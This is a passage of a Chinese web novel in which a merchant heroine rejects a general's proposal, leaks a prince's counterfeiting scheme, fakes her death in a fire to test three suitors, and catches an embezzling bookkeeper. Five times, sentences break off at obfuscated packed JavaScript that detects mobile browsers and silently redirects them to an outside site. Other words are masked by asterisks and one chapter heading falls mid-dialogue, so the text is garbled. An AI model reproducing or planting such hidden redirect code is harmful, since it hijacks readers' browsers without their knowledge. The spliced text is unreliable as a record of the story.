厉战霆拿着怀里的药包,整个人都懵了。他预想过各种可能的反应——害羞、惊喜、甚至是愤怒,但唯独没想到会是这样的平淡如水。 你......你就没有别的话要说?他不死心地问。 姜绾歌头也不抬:有啊。记得按时换药,不要碰水。 门口传来几声清脆的掌声。顾云霁不知何时斜倚在门框上,身穿一件墨色锦袍,质地轻薄,看着就凉爽。他唇角勾起一抹似笑非笑的弧度,眼神在憋屈的厉战霆和忙碌的姜绾歌之间流转。 啧啧,厉大将军这"直捣黄龙"的战术,用在战场上无往不利,他拖长了调子,带着毫不掩饰的戏谑,用在风月场上嘛......怕是连城门都没摸着,就被姜老板的"**阵"给拒之门外了。 厉战霆的脸更红了,脖子上的青筋都暴了起来:顾云霁!你来凑什么热闹? 我这不是路过嘛,顾云霁摇着折扇,慢悠悠地走进来,听到动静就进来看看。没想到正好赶上这么精彩的一幕。 他走到那箱金元宝旁边,伸手拿起一个掂了掂:啧,成色不错。不过厉将军,你这求婚的方式......怎么说呢,很有将军风范,但...... 但什么?厉战霆咬牙切齿。 但你可知道,真正的风花雪月,讲究的是情调和氛围,顾云霁摇头叹息,你这样扛着一箱金子闯进来,活像个土匪进村抢媳妇,难怪姜老板不领情。 姜绾歌冷不丁地插了一句:土匪好歹还知道先把人绑走,他连这个都不会。 噗——顾云霁忍不住笑出声来,姜老板说得对。厉将军啊,你这是连"风花雪月"四个字怎么写都还没琢磨明白,就想着洞房花烛夜了。 你们......厉战霆气得说不出话来。 行了行了,别在这儿丢人现眼了,姜绾歌放下手中的药材,走到厉战霆面前,厉将军,我知道你是个好男人,但我现在真的没心思考虑这些儿女私情。 她的语气难得温和了一些:你看,杏林堂的生意刚刚起步,琉璃工坊的订单堆积如山,醉仙楼也要扩张。我一个女人家,要操心的事情太多了。哪有时间谈情说爱? 那你什么时候有时间?厉战霆像个执拗的孩子。 等我把生意做稳了,把这些事情都安排妥当了,姜绾歌叹了口气,也许......也许那时候我会考虑找个人托付终身。但现在,真的不行。 厉战霆看着她认真的表情,心中虽然失落,但也看出了她的坚持。 那我等你!他一字一句地说道,不管多久,我都等你! 别说傻话了,姜绾歌摆手,你是堂堂镇国将军,要什么样的女人没有?何必在我这棵歪脖子树上吊死? 我只要你!厉战霆的声音斩钉截铁。 顾云霁在一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184420|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看得津津有味,忽然开口:厉将军,既然姜老板现在心思都在生意上,你何不帮她把生意做大?这样既能博美人一笑,又能展现你的能力,一举两得。 怎么帮?厉战霆立刻来了精神。 比如说,顾云霁眯起眼睛,军中的医药采购,一直是个大生意。如果厉将军能把这块肥肉...... 你给我闭嘴!姜绾歌恶狠狠地瞪了顾云霁一眼,谁要他帮忙了?老娘自己的生意,自己能搞定! 她转向厉战霆:还有你,别听他瞎出主意。我不需要任何人的帮助,更不需要靠男人来发财。 可是......厉战霆还想说什么。 没有可是!姜绾歌打断他,你要真心疼我,就别在这里添乱了。回去好好养伤,好好练兵,保家卫国才是你该做的事! 厉战霆看着她坚定的神色,最终还是点了点头:好,我听你的。但是我的话还是那句——我等你! 说完,他深深看了她一眼,转身大步离去。那箱金元宝就留在原地,他连看都没看一眼。 等厉战霆走远了,顾云霁才慢悠悠地开口:姜老板,这么好的男人,真就这么拒绝了? 好男人?姜绾歌冷笑,好男人多了去了,我总不能见一个嫁一个吧? 也是,顾云霁点头,不过话说回来,厉将军这份真心,倒是难得。 真心能当饭吃?姜绾歌没好气地说,我现在只想把生意做好,其他的都是浮云。 顾云霁看着她,眼中闪过一丝复杂的情绪:姜老板,有时候我真的很佩服你。 佩服我什么? 佩服你这份清醒,顾云霁收起折扇,在这个世道,能保持这样的理智,真的不容易。 姜绾歌看了他一眼,没有接话。她心里清楚,在这个男权当道的时代,女人想要真正的独立,就必须足够强大。而爱情,往往是最容易让人变得软弱的东西。 行了,别在这儿感慨了,她摆摆手,帮我把这箱金子搬到库房去,就当是厉将军给我的投资。 第228章 听雨轩密录惊雷 投资?顾云霁挑眉。 对,投资,姜绾歌嘴角勾起一丝狡黠的笑容,我会给他算利息的。 十一月的京城,寒意渐浓。醉仙楼的生意却依然火爆,特别是顶层的听雨轩,更是成了京城权贵们的聚会场所。 这日黄昏,听雨轩内灯火通明,几个官员模样的人正在推杯换盏。为首的是个胖墩墩的中年男子,满脸红光,一看就是个酒鬼。 来来来,王大人,再喝一杯!胖子举着酒杯,舌头有些大,这醉仙楼的酒,真是绝了! 张盐使,你可别灌我了,对面的王大人摆手,我酒量不如你。 张盐使?姜绾歌在暗格里竖起耳朵。这个张胖子是盐运使,专管盐引生意,手里掌握着肥得流油的差事。 怕什么?今天高兴!张盐使又灌了一大口酒,王大人,你知道吗?最近朝堂上的风向变了! 什么风向?王大人好奇地问。 张盐使左右看了看,压低声音:靖王殿下......靖王殿下那边,有大动作啊! 姜绾歌心头一跳。靖王?那不是顾铭轩的另一个弟弟吗? 什么大动作?王大人也压低了声音。 嘿嘿,张盐使醉眼朦胧,王大人,你可知道,现在市面上的铜钱,有多少是...... 他做了个手势,意思是假的。 不会吧?王大人吃了一惊,朝廷的钱币,怎么会有假的? 朝廷的确实没假的,张盐使嘿嘿笑着,但是......但是有些人,自己铸钱! 自己铸钱?!王大人差点跳起来,这......这不是**吗? 嘘!张盐使连忙摆手,小点声!小点声! 他又喝了一口酒,舌头更大了:王大人,你想想,为什么最近铜钱的成色越来越差?为什么市面上总有些样子不太对的钱币? 这......王大人冷汗直冒。 告诉你吧,张盐使醉得厉害,靖王党在城外设了私铸工坊,专门铸造铜钱!铜里掺铁,铁里掺土,赚得盆满钵满! 天哪!王大人脸色苍白,这......这要是被查出来...... 查出来?张盐使冷笑,谁敢查?靖王殿下在朝中根深蒂固,连户部都有他的人! 姜绾歌在暗格里听得心跳加速。私铸钱币,这可是抄家灭族的大罪!如果这个消息是真的...... 不过,张盐使忽然话锋一转,最近风声有些紧。听说皇上那边已经有察觉了。 那怎么办?王大人急道。 怎么办?张盐使打了个酒嗝,凉拌!反正老子已经赚够了,大不了拍拍屁股走人! 两人又喝了一会儿,张盐使彻底醉了,开始胡言乱语。但姜绾歌已经听够了,她悄悄从暗格里退了出来。 妈的,这可是个大料!她回到自己的房间,立刻开始思考对策。 靖王私铸钱币,这个消息如果属实,那就是一颗定时**。而她现在掌握了这个秘密,就相当于掌握了引爆**的引信。 问题是,怎么利用这个消息?她在房间里来回踱步,直接告诉顾铭轩?还是...... 不,太简单了。这么重要的情报,如果只是简单地告密,那就太浪费了。她要做的,是用这个情报来搅动整个京城的**格局! 石头!她大声喊道。 姐姐!石头立刻跑进来。 去准备三个蜡丸,她开始在纸上写字,还有,找最可靠的人,今夜就要送到不同的地方。 她分别写了三封信,内容都是关于靖王私铸钱币的情报,但每封信的侧重点都不同。 给顾铭轩的信最详细,不仅有具体的地点,还有涉及的人员名单。信末她写道:清君侧需快刀。 给顾云霁的信则更加隐晦,只是暗示了靖王的动向,并提到了盐引生意可能的变化。信末写的是:鹬蚌相争渔翁利。 给厉战霆的信最简洁,只是提到了私铸钱币可能影响军饷的成色。信末写道:边境军饷该查查了。 姐姐,您这是......石头看得一头雾水。 投石问路,姜绾歌嘴角勾起一丝冷笑,看看这三个男人,谁的反应最快。 她将三封信分别装入蜡丸,交给石头:记住,一定要在今夜送到。而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190636|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且绝对不能让任何人知道是咱们送的。 是!姐姐!石头接过蜡丸,匆匆离去。 姜绾歌走到窗边,看着外面的夜色。京城的夜空中,星光点点,但她知道,一场暴风雨即将来临。 靖王啊靖王,她喃喃自语,你做梦也想不到,会栽在一个醉鬼的嘴里。 第二天一早,整个京城就开始不太平了。 首先是顾铭轩那边有了动静。一队御林军突然出现在城门口,开始严查出城的人员和货物。同时,京兆府也开始加强巡逻,特别是对一些可疑的作坊和工场。 陛下这是要干什么?街头巷尾都在议论纷纷。 听说是要查什么私铸钱币的案子。 私铸钱币?那可是大罪! 与此同时,顾云霁也开始行动。他没有大张旗鼓,而是悄悄派人调查盐引的流向,特别是那些异常的大额交易。 最积极的要数厉战霆。他收到消息后,立刻下令检查军中的军饷,发现果然有问题——最近发放的铜钱成色明显不对,分量也轻了不少。 妈的!厉战霆怒不可遏,敢在军饷上做手脚,找死! 他立刻上奏,要求彻查此事。 三日后,靖王府被团团包围。 奉圣旨,搜查靖王府! 御林军如狼似虎地冲进王府,很快就在后花园的一间密室里发现了私铸钱币的证据——大量的铜锭、铁块,还有制作钱币的模具。 这......这些东西我不知道啊!靖王吓得面无血色,肯定是有人陷害我! 但证据确凿,他再怎么狡辩也没用。 当天下午,厉战霆趁机上奏,参了户部一本,说是军饷被掺假,要求彻查相关人员。 而顾云霁则更加巧妙,他通过各种渠道,暗示盐引生意可能受到影响,需要重新整顿。最终,他成功接管了原本属于靖王党的盐引生意。 夜幕降临,京城的天空被火光映红。靖王府在燃烧,那些私铸的钱币和相关物品都被一把火烧了个干净。 姜绾歌坐在醉仙楼的楼顶,看着远处的火光,嘴角带着满意的笑容。 第229章 假死计划 姐姐,石头在旁边小声说道,这火烧得真旺。 是啊,姜绾歌点点头,烧得越旺越好。 那咱们接下来怎么办?石头问道。 姜绾歌站起身,拍了拍身上的灰尘:该收网了。 她的声音很轻,但在寂静的夜空中却显得格外清晰。 火光照亮了她的脸,那张美丽的脸庞在光影中显得神秘而危险。她就像一个操控棋局的高手,每一步都算计得精准无比。 石头,她忽然开口,明天开始,咱们要扩大生意了。 扩大生意?石头不解。 靖王一倒,他手里的那些产业总得有人接手,姜绾歌眼中精光闪烁,这么好的机会,老娘怎么能错过? 远处的火光渐渐熄灭,但姜绾歌心中的野心之火却燃烧得更加旺盛。 她知道,真正的较量才刚刚开始。 靖王倒台后,朝堂上的平衡被打破了。顾铭轩的势力大增,顾云霁虽然得了些好处,但也更加谨慎。而厉战霆因为立功,在军中的地位更加稳固。 但这种平衡对姜绾歌来说,并不完全有利。她需要知道这三个男人对她的真实态度——到底是把她当成有用的工具,还是真的在意她这个人。 要想看清人心,就得用点非常手段,她坐在听雨轩里,看着桌上的一张详细计划,假死局......这步棋够险的。 她算准了时机。今夜是醉仙楼的大扫除日,平时不常来的杂役会进入各个房间打扫。而她早就在这些杂役中安插了几个自己的人,其中就包括一个叫小六的年轻人。 小六,她把那个瘦削的年轻人叫到面前,今晚的事,你记住了吗? 记住了,东家,小六紧张地点头,戌时一刻,在听雨轩点火,然后大喊失火。您会提前躲到密室里,等火烧起来后,我就说您被埋在里面了。 对,但记住,姜绾歌的眼神变得严厉,火不能烧太大,只要造成假象就行。还有,你要装得像一点,真的很害怕的样子。 是,东家!小六擦了擦额头上的汗珠。 姜绾歌从怀里掏出一个小瓶子,里面装着红色的液体:这是胭脂调的假血,你记得在合适的时候洒在现场,增加真实感。 一切准备就绪后,姜绾歌回到听雨轩,开始最后的布置。她故意在房间里留下一些痕迹——半片撕破的衣角、几根头发,还有一只绣花鞋,都是用来营造她被埋在废墟中的假象。 夜幕降临,醉仙楼里的客人渐渐散去。姜绾歌换上一身夜行衣,悄悄溜进了听雨轩下面的密室。这个密室是她秘密建造的,外面的人根本发现不了。 戌时一刻,准时传来小六的声音:失火了!失火了!听雨轩着火了! 紧接着,姜绾歌听到了急促的脚步声和嘈杂的喊声。她透过密室的通风口,看到外面火光冲天,浓烟滚滚。 快救火!快救火! 姜东家呢?姜东家在哪里? 我刚才看到她在听雨轩里! 混乱中,姜绾歌听到了三道不同的声音,几乎同时响起: 绾绾! 姜绾歌! 东家! 她的心猛地一跳。三个男人都来了,而且听声音,都很急。 透过缝隙,她看到顾铭轩第一个冲进火场。他今天没穿龙袍,只是一身普通的便服,但此刻却不顾一切地扑向燃烧的房间。 绾绾!绾绾!你在哪里?他的声音都嘶哑了,绾绾!出来! 火势很大,房梁已经开始摇摇欲坠。但顾铭轩丝毫不顾危险,用双手徒手扒开燃烧的瓦砾和木头,寻找着姜绾歌的身影。 陛下!危险!身边的太监们想要拉住他,但他一把推开。 滚开!朕要找绾绾!他的眼睛都红了,指甲在扒拉瓦砾的时候被磨得血肉模糊,十个指甲缝里全是血,但他仿佛感觉不到疼痛。 姜绾歌在密室里看得心头震动。她从没见过顾铭轩这个样子——不顾皇帝的威严,不顾自己的安危,只是拼命地想要救她。 这时,顾云霁也赶到了。他的反应和顾铭轩完全不同,没有冲动地扑进火场,而是立刻开始指挥现场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190637|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封锁现场!他大声命令,所有人都不许走!查,给我仔细查! 他的眼神变得前所未有的冷峻,那种慵懒的笑容完全消失了,取而代之的是一种让人胆寒的杀意。 把所有今晚在这里的人都给我带过来!他的声音如同淬了冰,一个都不能放过! 很快,顾云霁在废墟里发现了姜绾歌故意留下的半片衣角。那是她平时穿的那件淡青色襦裙的一角,上面还沾着血迹。 这是......顾云霁拿起衣角,手都在颤抖,这是她的衣服...... 他的眼神第一次失了温度,变得空洞而绝望。那种一向胸有成竹的自信完全消失了,取而代之的是一种深深的无力感。 云霁......顾铭轩看到弟弟手中的衣角,也愣住了。 皇兄,顾云霁的声音很轻,但每个字都带着刺骨的寒意,我要亲自审问每一个人。不管是谁害了她,我都要让他付出代价。 最直接的反应来自厉战霆。他比另外两人晚到了一步,但当他听说姜绾歌被埋在火场中时,整个人都疯了。 是谁?!他一把抓住正在发抖的小六,是谁放的火?! 我......我不知道啊,将军,小六演技很好,吓得浑身发抖,我只是来打扫的,不知道怎么就着火了...... 放屁!厉战霆眼中冒火,一把将小六拎起来,狠狠往墙上一撞,说!是谁指使的?! 我真的不知道啊!小六哭得涕泪横流,将军饶命啊! 厉战霆!顾云霁制止了他,先别**,还要审问呢。 审问个屁!厉战霆红着眼睛,绾歌要是有个三长两短,老子杀了你们全家! 他的拳头攥得咯咯响,额头上青筋暴起。这个平时冷静理智的将军,此刻完全失去了控制。 姜绾歌在密室里看着这一切,心情极其复杂。她没想到这三个男人的反应会如此强烈,特别是顾铭轩,那种发自内心的恐惧和绝望,让她感到心痛。 这些男人......她轻声自语,原来真的...... 第230章 查内鬼 火势逐渐被控制住了,但搜救工作还在继续。三个男人都守在现场,谁也不肯离开。 顾铭轩的手已经血肉模糊,但他还在翻找着每一块瓦砾,希望能找到姜绾歌的踪迹。 顾云霁则站在废墟旁,手中紧握着那片衣角,脸色苍白如纸。 厉战霆更是在现场走来走去,像一头受伤的野兽,随时准备扑向任何一个可疑的人。 绾绾......顾铭轩的声音已经完全嘶哑,你不能有事......你不能有事...... 看着这些男人痛苦的样子,姜绾歌忽然觉得自己的计划有些过分了。但事已至此,她只能等待时机结束这场戏。 三天后,城郊的一处别院里。 姜绾歌悠悠地睁开眼睛,装出一副刚刚苏醒的样子。她提前在这里安排了一个可靠的大夫,准备了伤药和绷带,营造出她侥幸逃生但受了重伤的假象。 东家!您醒了!守在床边的阿福激动得眼泪都出来了,您可把我们吓**! 我......姜绾歌故意装出虚弱的样子,我这是在哪里? 您在城郊的别院里,阿福连忙解释,您失踪三天了,是石头在废墟里发现您的,当时您已经昏迷了...... 失踪三天?姜绾歌惊讶地睁大眼睛,那......那他们...... 话音未落,房门被推开了。三个男人几乎同时出现在门口,个个都是眼圈发黑,显然这三天都没怎么睡觉。 顾铭轩的手还缠着绷带,脸上满是憔悴。顾云霁的向来整洁的衣服皱巴巴的,头发也有些凌乱。厉战霆更是胡子拉碴,整个人看起来憔悴不堪。 绾绾......顾铭轩第一个冲上前,声音都在颤抖,你没事......你没事就好...... 姜绾歌,顾云霁的声音很轻,但眼中的关切掩饰不住,感觉怎么样? 厉战霆更是直接,上前就要检查她的伤势:有没有哪里疼?要不要我去抓那个放火的混蛋? 看着眼前这三个为了她憔悴不堪的男人,姜绾歌心中涌起一种说不出的情绪。 原来......她在心中轻声说道,原来你们真的在乎我...... 突然,她觉得这个所谓的攻略任务,好像没那么难了。 看着眼前三个憔悴不堪的男人,姜绾歌心中五味杂陈。但她很快就冷静下来,这次假死虽然达到了试探的目的,但也暴露了一个更严重的问题——有内鬼。 醉仙楼的失火绝不是意外,肯定有人在背后操作。而能够如此精准地把握时机,在她最放松警惕的时候动手,这个人必然对她的行踪了如指掌。 你们先出去,她对三个男人说道,我需要静养一下。 绾绾,我留下来陪你......顾铭轩不肯走。 陛下,我真的需要休息,姜绾歌强撑着坐起身,您这样守着,我反而睡不着。 顾铭轩还想说什么,但看到她疲惫的样子,最终还是点了点头:好,你好好休息。有什么需要的,立刻派人通知我。 我也先告辞了,顾云霁深深看了她一眼,有什么事情,随时找我。 厉战霆最后一个离开,临走时在她耳边小声说道:绾歌,我已经派人在外面守着,不会再让任何人伤害你。 等三人都走了,姜绾歌立刻让阿福和石头进来。 东家,您真的没事吗?阿福担心地问道。 没事个屁!姜绾歌一改刚才的虚弱样子,老娘气得要死!竟然有人敢在我的地盘上放火! 她从床上跳起来,在房间里来回踱步:石头,这几天你们有没有发现什么异常? 异常?石头想了想,好像......好像账房老陈这几天有些奇怪。 陈墨?姜绾歌皱眉,他怎么了? 他最近总是神神秘秘的,石头说道,而且晚上经常不在铺子里,说是回家了,但我派人看过,他家里根本没人。 姜绾歌心中一动。陈墨虽然是个读书人,但为人一向老实,怎么会突然变得神秘起来? 还有别的吗?她继续问。 还有就是,阿福接话道,最近账目有些对不上。按理说,咱们用了复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190638|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式记账法,账目应该很清楚,但总有些小的差错。 差错?姜绾歌眼中闪过一丝精光,什么样的差错? 就是有些收入记录了,但现银库存对不上。虽然数额不大,但每天都有。阿福说道。 姜绾歌心中有了计较。看来陈墨这个老实人,很可能被人收买了。 你们立刻去查,她吩咐道,看看陈墨最近都跟什么人接触过。记住,要悄悄的,别让他发现。 是,东家!石头和阿福领命而去。 等他们走后,姜绾歌开始仔细回忆最近的情况。自从仁德堂被她整垮后,那些人就像老鼠一样销声匿迹了。她以为他们已经彻底完蛋了,没想到还有余党在暗中报复。 妈的,老娘小看他们了!她咬牙切齿,竟然敢买通我的人! 第二天晚上,石头带回了消息。 姐姐,查到了!他压低声音,陈墨最近经常和一个叫王二的人见面,那个王二以前就是仁德堂的人! 仁德堂?姜绾歌冷笑,果然是他们! 不仅如此,石头继续说道,我还发现,陈墨每次见完那个王二,回来都会偷偷去账房,不知道在那里搞什么。 姜绾歌站起身,眼中闪着危险的光芒:今晚我们就去看看,他到底在搞什么鬼! 深夜时分,姜绾歌和石头悄悄潜入了醉仙楼的账房。这里平时戒备森严,但姜绾歌知道所有的暗道和机关,进入并不困难。 账房里堆满了各种账册和文书,在微弱的月光下显得阴森恐怖。姜绾歌点燃一支蜡烛,开始仔细检查。 姐姐,您看这个!石头指着一个不起眼的角落,这里的地板好像有些松动。 姜绾歌走过去,用手一摸,果然发现地板下面是空的。她找来工具,小心地撬开地板,下面竟然藏着一个小木箱。 这是什么?她打开木箱,里面装着一本账册和几封信。 姜绾歌拿起账册一看,脸色瞬间变得铁青。 这是一本假账册,上面记录的都是虚假的收入和支出,目的就是为了掩盖真实的资金流向。 第231章 病床谈生意 这个王八蛋!她气得浑身发抖,竟然敢做假账! 她又翻看了那几封信,发现都是王二写给陈墨的,内容基本上都是指导他如何做假账,如何转移资金,甚至还有放火烧掉听雨轩的详细计划。 原来如此,姜绾歌咬牙切齿,他们想要毁掉我的生意,然后趁机捞一笔! 就在这时,门外传来脚步声。姜绾歌心头一跳,连忙吹灭蜡烛,和石头躲在角落里。 脚步声越来越近,很快,门被推开了。借着月光,姜绾歌看到进来的正是陈墨。 陈墨鬼鬼祟祟地走到刚才的那个角落,发现地板被撬开了,顿时慌了神。 怎么回事?谁动了我的东西?他急得直跺脚,完了,完了,要是被发现了...... 就在这时,外面又传来声音:陈先生,您在里面吗? 是王二的声音!姜绾歌心中一喜,正好人赃俱获。 陈墨连忙开门,王二鬼鬼祟祟地走了进来。 陈先生,怎么样?钱弄到了吗?王二问道。 弄到了,弄到了,陈墨从怀里掏出一个沉甸甸的包袱,这是这个月的,一共五百两。 好!王二接过包袱,陈先生,您这次立了大功!那个该死的姜绾歌,以为烧**就一了百了,没想到还是活着回来了。 王二爷,我现在很害怕,陈墨声音发抖,万一被发现了...... 怕什么?王二冷笑,只要您按我说的做,保证不会有事。再说了,就算被发现了,大不了一走了之,这笔钱够咱们逍遥一辈子了。 可是......陈墨还想说什么,却被王二打断了。 没什么可是的!王二恶狠狠地说,您现在已经上了贼船,想下去可没那么容易! 听到这里,姜绾歌已经忍不住了。她一个箭步冲出来,手中的**直接架在了王二的脖子上。 想逍遥一辈子?她冷笑道,问过老娘了吗? 王二和陈墨都吓了一大跳,特别是陈墨,直接瘫坐在地上。 姜......姜东家,您......您不是......陈墨结结巴巴地说不出话来。 不是什么?不是**?姜绾歌冷笑,老娘命硬得很,阎王爷都收不了! 她看向陈墨,眼中满是失望:陈墨,我待你不薄,供你读书,给你好的待遇,你为什么要背叛我? 陈墨羞愧地低下头,泪水不断往下流:东家,我......我是被逼的...... 被逼的?姜绾歌的声音更冷了,被逼的就能背叛恩人? 东家,我真的知错了!陈墨跪在地上磕头,求您饶了我这一次! 姜绾歌看着他,心中说不出的愤怒和失望。但事已至此,再愤怒也没用。 石头,把他们两个都绑起来,她吩咐道,明天再处理。 就在这时,门外传来急促的脚步声。紧接着,一个黑衣人破门而入,手中拿着明晃晃的钢刀。 想跑?没门!那人冷声道,今天你们一个都别想活着离开! 姜绾歌心头一跳,看来仁德堂的余党不止这些,还有人在外面接应。 石头,小心!她大声提醒,同时准备迎战。 但就在这时,一道身影突然从窗户跳了进来,正是顾云霁。 姜绾歌,你果然没死!他一边和黑衣人打斗,一边说道,我就知道你没那么容易死! 王爷?姜绾歌有些意外,您怎么来了? 我一直在外面守着,顾云霁三两下就制服了黑衣人,看到有人鬼鬼祟祟的,就跟过来了。 多谢王爷相救。姜绾歌拱手道。 别急着谢,顾云霁走到她面前,突然伸手抓住她的胳膊,姜绾歌,这次若再敢死,我就把你绑在王府天天喂药! 姜绾歌一愣,随即甩开他的手:王爷还是先管好自己的伤吧! 虽然嘴上这么说,但她心中却涌起一阵暖流。这个男人,还真是让人捉摸不透。 就在这时,外面又传来整齐的脚步声。很快,一队黑衣女子走了进来,为首的是个面容冷峻的女子。 老板娘,那女子递上一张纸条,将军说,保护老板娘比打仗重要。 姜绾歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190639|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过纸条,看到上面写着厉战霆的亲笔信:从今以后,这队暗卫专门保护你的安全。 她的心中再次涌起暖流。这些男人,还真是...... 好了,她收起纸条,现在先处理这些叛徒,其他的事情以后再说。 第二天一早,姜绾歌正躺在城郊别院的床上,装出一副虚弱不堪的样子。她脸色苍白,额头上贴着退烧的膏药,桌上还摆着各种汤汤水水的药碗。 为了演得逼真,她还特意调了些胭脂水,时不时咳嗽几声,然后用帕子掩住嘴角,做出咳血的样子。 东家,您感觉怎么样?阿福担心地问道,要不要再请个大夫来看看? 不用了,姜绾歌虚弱地摆摆手,普通大夫哪里比得上老娘自己的医术? 虽然嘴上这么说,但她心里却在盘算着别的事情。昨晚抓到内鬼后,她意识到一个严重的问题——药材供应链的安全性。 仁德堂虽然倒了,但他们的余党还在暗中活动。如果不能控制药材的源头,她的生意就永远受制于人。 必须想办法搞到皇家屯田令,她在心中盘算着,只有拿到官方的土地,才能彻底掌控药材供应。 正想着,门外传来轻微的脚步声。姜绾歌连忙闭上眼睛,装出昏睡的样子。 姑娘,在下是路过的郎中,听说这里有病人,特来看看。门外传来一个陌生的声音。 姜绾歌心中一动,这声音怎么听着有些耳熟? 阿福走过去开门,只见门外站着一个身材高大的中年男子,穿着普通的青布长袍,背着一个药箱,头上戴着一顶遮住大半张脸的斗笠。 这位郎中,我家东家的病已经在好转了,就不劳您费心了。阿福客气地说道。 既然路过,就让在下看看吧,那人推开斗笠,露出一张威严的面孔——正是顾铭轩! 姜绾歌心头一震,差点从床上坐起来。这个皇帝大老远跑到城郊来,还扮成郎中的样子,这是要干什么? 这......阿福认出了皇帝,吓得腿都软了,陛......陛下...... 第232章 被拆穿 嘘!顾铭轩做了个噤声的手势,然后大步走到床边,让朕看看她的情况。 姜绾歌闭着眼睛,努力控制着呼吸,装出昏迷的样子。 顾铭轩坐在床边,伸手摸了摸她的额头,然后又把了把脉。以他对姜绾歌身体状况的了解,很快就发现了异常。 绾绾,他的声音带着一丝戏谑,别装了,朕知道你醒着。 姜绾歌心中暗骂,但依然没有睁眼。 还装?顾铭轩忽然伸手掀起了桌上的药碗,里面的汤药洒了一地,胡闹!谁准你用假死来骗朕? 这下姜绾歌再也装不下去了,她睁开眼睛,故作虚弱地咳嗽了几声,用帕子掩住嘴角,然后把帕子拿开,上面果然有几滴血迹。 陛下明鉴,她虚弱地说道,臣女确实受了重伤...... 受伤?顾铭轩冷笑,你这胭脂调的血,糊弄三岁小孩还差不多! 姜绾歌被拆穿了,也不再装了,但语气依然虚弱:陛下,就算是假的,但臣女确实九死一生啊...... 九死一生?顾铭轩的声音中带着怒意,你是九死一生,朕可是差点被你吓死!你知不知道,朕这三天都没有好好睡过一觉? 看着顾铭轩眼中的血丝和憔悴的神色,姜绾歌心中涌起一阵愧疚。但很快,她就调整了心态,决定趁此机会谈正事。 陛下,她挣扎着想要坐起来,臣女有要事禀报...... 躺着说!顾铭轩按住她的肩膀,你现在需要休息! 陛下可知,靖王党余孽已盯上杏林堂?姜绾歌一边咳嗽一边说道,这次的失火,就是他们搞的鬼。 顾铭轩眉头一皱:靖王党?他们不是早就被清剿了吗? 明面上是清剿了,但暗地里还有余孽,姜绾歌从枕头下面摸出一叠文件,这些都是证据。 顾铭轩接过文件一看,脸色越来越阴沉。上面详细记录了**余孽的活动,包括收买陈墨、策划失火、甚至还有暗杀她的计划。 这些畜生!他咬牙切齿,朕一定要将他们斩草除根! 陛下,光是清剿还不够,姜绾歌又从床头柜里掏出一份文件,臣女有个建议...... 什么建议?顾铭轩看着她手中的文件。 扩大药田!姜绾歌的眼睛忽然亮了起来,完全没有刚才的虚弱样子,若得皇家屯田令,明年可多收三成药材! 顾铭轩愣了一下,然后忍不住笑了:绾绾,你还真是......病成这样了还惦记着生意。 这不是普通的生意,姜绾歌认真地说道,陛下,您想想,如果能控制药材的源头,不仅能保证杏林堂的供应,还能切断那些余孽的财路。 她挣扎着坐起来,拿出一张地图:您看,如果在这几个地方设立皇家药田,不仅能种植各种珍贵药材,还能为朝廷增加收入。 而且,她继续说道,有了稳定的药材供应,我们就能大量生产金疮药,不仅能供应军队,还能出口到邻国,赚取外汇。 顾铭轩看着她眉飞色舞地讲解着商业计划,又气又好笑:绾绾,你这哪里像个病人? 